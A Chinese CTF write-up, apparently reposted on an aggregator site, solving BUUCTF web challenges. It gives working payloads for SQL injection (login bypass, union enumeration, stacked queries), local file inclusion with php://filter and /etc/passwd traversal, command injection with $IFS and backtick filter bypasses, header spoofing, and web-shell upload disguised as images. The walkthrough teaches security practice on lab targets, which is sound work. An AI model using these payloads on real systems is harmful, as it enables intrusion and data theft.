我的编程空间,编程开发者的网络收藏夹
学习永远不晚

BUUCTF--Web篇详细wp

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

BUUCTF--Web篇详细wp

BUUCTF--Web篇详细wp

CTF平台:https://buuoj.cn/

[极客大挑战 2019]EasySQL

使用万能密码登入即可。

1'or'1'='1  #万能密码(注意是英文小写)  

在这里插入图片描述
在这里插入图片描述

flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76}

[极客大挑战 2019]Havefun

F12查看源代码 发现是PHP代码审计(小猫挺可爱呢~)

在这里插入图片描述
在这里插入图片描述

<!--        $cat=$_GET['cat'];        echo $cat;        if($cat=='dog'){            echo 'Syc{cat_cat_cat_cat}';        }        -->

传了一个变量 然后是GET请求 如果cat=dog 就会输出 flag 构造Payload:/?cat=dog

在这里插入图片描述

flag{86e415ca-8d55-4868-afb3-ec58d239dbb7}

[HCTF 2018]WarmUp

打开网页看到滑稽图 直接F12 然后访问这个敏感信息 source.php 直接看源码

在这里插入图片描述
在这里插入图片描述

 <?php    highlight_file(__FILE__);    class emmm    {        public static function checkFile(&$page)        {            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];            if (! isset($page) || !is_string($page)) {                echo "you can't see it";                return false;            }            if (in_array($page, $whitelist)) {                return true;            }            $_page = mb_substr(                $page,                0,                mb_strpos($page . '?', '?')            );            if (in_array($_page, $whitelist)) {                return true;            }            $_page = urldecode($page);            $_page = mb_substr(                $_page,                0,                mb_strpos($_page . '?', '?')            );            if (in_array($_page, $whitelist)) {                return true;            }            echo "you can't see it";            return false;        }    }    if (! empty($_REQUEST['file'])        && is_string($_REQUEST['file'])        && emmm::checkFile($_REQUEST['file'])    ) {        include $_REQUEST['file'];        exit;    } else {        echo "
"
; } ?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

flag{313235c5-75b2-4e8a-b225-8e7413865bc7}

[ACTF2020 新生赛]Include

在这里插入图片描述
在这里插入图片描述
这里我们看到了?file=flag.php我们猜测是文件包含漏洞 我们可以通过伪协议去读取想要的信息

文件包含分为本地文件包含 和 远程文件包含(php.ini可以进行配置)

allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)allow_url_include=On/Off 远程文件包含(RFI)

常见的文件包含 函数:PHP:include()、include_once()、require()、require_once()

  • Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
  • Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
  • Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;

用法:?file=../../../../../../../../../../../../../../../../etc/passwd

PHP伪协议:

  • php://filter 用于读取源码
  • php://input 用于执行php代码

php://filter使用:

 php://filter/read=convert.base64-encode/resource=xxx  # 用base64编码的方式来读文件flag.php

Payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php 然后Base64解码就可以得到flag

在这里插入图片描述
在这里插入图片描述

flag{8cd86bd7-28e2-4ac9-8e3c-9f6847a6ce6a}

[ACTF2020 新生赛]Exec

在这里插入图片描述
简单的命令执行 : 127.0.0.1 || cat /flag 即可得到flag

在这里插入图片描述

flag{6570b254-2c5b-4dee-a0ba-2a777452b1e5}

[强网杯 2019]随便注

输入1,2 输入3的时候发现报错了 说明只有两个字段
在这里插入图片描述
在这里插入图片描述
先放着 还没研究明白这题

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
输入:/?ip=127.0.0.1 有回显继续过滤 || ls 发现有flag.php文件 这里看到space 提示是空格绕过

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里可以参考:https://blog.csdn.net/a3320315/article/details/99773192

{cat,flag.txt}cat${IFS}flag.txtcat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数cat<flag.txtcat<>flag.txtkg=$'\x20flag.txt'&&cat$kg(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

这里第1种方法不行 可能是{}被过滤了 直接看第3个但是还是过滤了 在尝试一些index.php 这里可以看到源代码 进行代码审计!

在这里插入图片描述
在这里插入图片描述

/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);    die("fxck your symbol!");  } else if(preg_match("/ /", $ip)){    die("fxck your space!");  } else if(preg_match("/bash/", $ip)){    die("fxck your bash!");  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){    die("fxck your flag!");  }  $a = shell_exec("ping -c 4 ".$ip);  echo "";  print_r($a);}?>

可以看到这里过滤了很多 这里方法有很多种 我就一种吧(比较懒)
内联执行:将指定的函数体插入并取代每一处调用该函数的地方

 `` 反引号 在linux中作为内联执行,执行输出结果 cat `ls` //执行ls输出 index.php 和 flag.php 然后再执行 cat flag.php;cat index.php 构造Payload :?ip=127.0.0.1|cat$IF$9`ls`

`
在这里插入图片描述

flag{ae43eee7-f909-4d59-b405-e52f3347c18f}

[SUCTF 2019]EasySQL

考点:堆叠注入

这里输入1,2有回显0有没有 字母也没有 尝试order 发现也被过滤了回显 Nonono

在这里插入图片描述
在这里插入图片描述
这里我们尝试一下堆叠注入 1;show databases; 发现有回显

在这里插入图片描述
查看数据库的表1; show tables; 发现 FLAG表 继续查询1;show columns from用来查询表中列名称 (发现这里也被过滤了)

在这里插入图片描述

在这里插入图片描述
其实做到这里就没思路了 去看别的大佬的文章 得知这里需要猜测后端数据库

sql内置语句:sql=“select”.post[‘query’]."||flag from Flag";
*没过滤 输入*1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

在这里插入图片描述

flag{7533aecc-59b3-49c3-a374-6d20ab6edbd4}

[极客大挑战 2019]Secret File

直接F12查看源代码 看到了一个./Archive_room.php进行访问,使用BP简单抓个包发现了 secr3t.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<html>    <title>secret</title>    <meta charset="UTF-8"><?php    highlight_file(__FILE__);    error_reporting(0);    $file=$_GET['file'];    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){        echo "Oh no!";        exit();    }    include($file); //flag放在了flag.php里?></html>

这里访问 flag.php 他说在里面 发现没有然后看到刚刚源码的 include()函数 存在文件包含使用伪协议(上面有讲怎么 使用)

构造Payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

在这里插入图片描述
Base64解码:http://www.jsons.cn/base64

在这里插入图片描述

flag{a402233a-9fc9-4d14-8c45-5dc839309887}

[极客大挑战 2019]LoveSQL

考点:联合注入

在这里插入图片描述
使用万能密码 1'or'1'='1

在这里插入图片描述

1' union select 1,2,3#  #联合查询查看 字段

在这里插入图片描述

1' union select 1,2,3,4#  #

在这里插入图片描述
这里输入4 报错 说明只有3个字段

在这里插入图片描述

1' union select 1,2,database()#  爆破数据库

在这里插入图片描述

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#  爆破geek表

在这里插入图片描述

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#  爆字段

在这里插入图片描述

1' union select 1,2,group_concat(concat_ws('~',username,password)) from geek.l0ve1ysq1#  用concat_ws函数连起来全部看一下

在这里插入图片描述
这里F12太长了看不了

flag{95ef6cab-f872-44ad-b725-ccaffc73865e}

[极客大挑战 2019]Http

考点:HTTP伪造请求头

知识点:HTTP请求响应头

referer:告诉服务器我是从哪个页面链接过来的(网址是跳转前的网址)X-Forwarded-For: 用户访问服务器的 IP 地址Content-Type:标识发送或接收到的数据的类型(使得http传输的不仅仅是文本还可以是图片视频等)User-Agent: 使用的浏览器版本信息

F12查看一下源代码发现了/Secret.php 这里给了提示:https://www.Sycsecret.com 需要从这个url请求发送 直接抓包 改一下。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

referer:https://www.Sycsecret.com  User-Agent:SycloverX-Forwarded-For:127.0.0.1

在这里插入图片描述
然后又给了提示 需要使用Syclover浏览器 然后又提示本地访问!

在这里插入图片描述

在这里插入图片描述

flag{728bec5d-fa79-4344-960b-c21796344bab}

[极客大挑战 2019]Knife

考点:一句话木马和WebSell工具的使用

在这里插入图片描述
这里直接给了提示和密码,直接尝试用蚁剑进行连接 连接成功!!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

flag{051fb5b7-4039-4242-9a69-eeb6e3c1e42b}

[极客大挑战 2019]Upload

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这里回显 NO php 说明不能后缀为php 尝试使用 phtml文件 不能包含:" 还要进行绕过

在这里插入图片描述

使用 script标签 绕过限制: 这里还是不行 说上传的不图片!!

在这里插入图片描述
使用 GIF89a 图片头文件欺骗 php会检测其为gif图片 这里终于上传成功了!!!flag在根目录下 直接查看即可。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

flag{cafd9be5-a8fd-4df3-a495-fd08c6fb0a2f}

[ACTF2020 新生赛]Upload

这里要把后缀改了 jpg png都行 然后和上一题一样的方法 a.phtml 然后上传成功!!

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
这里告诉了上传路径直接蚁剑连接 :./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

在这里插入图片描述
在这里插入图片描述

flag{e6460410-638d-4560-ab9b-34fa22f30854}

来源地址:https://blog.csdn.net/Aluxian_/article/details/130053100

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

BUUCTF--Web篇详细wp

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

MySQL中的存储过程(详细篇)

文章目录 概述优点缺点 MySQL存储过程的定义存储过程的基本语句格式存储过程的使用定义一个存储过程定义一个有参数的存储过程定义一个流程控制语句 IF ELSE定义一个条件控制语句 CASE定义一个循环语句 WHILE定义一个循
2023-08-16

WordPress 显示文章摘要方法 详细篇

下面介绍四种WordPress 显示文章摘要方法: 一、使用WordPress自带摘要功能 我目前另一WordPress博客就是使用这种方法的,显示效果也很满意,唯一不足就是写文章时需单独设置摘要。不过这点也要辩证来看,虽然是麻烦了点,但灵
2022-06-12

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录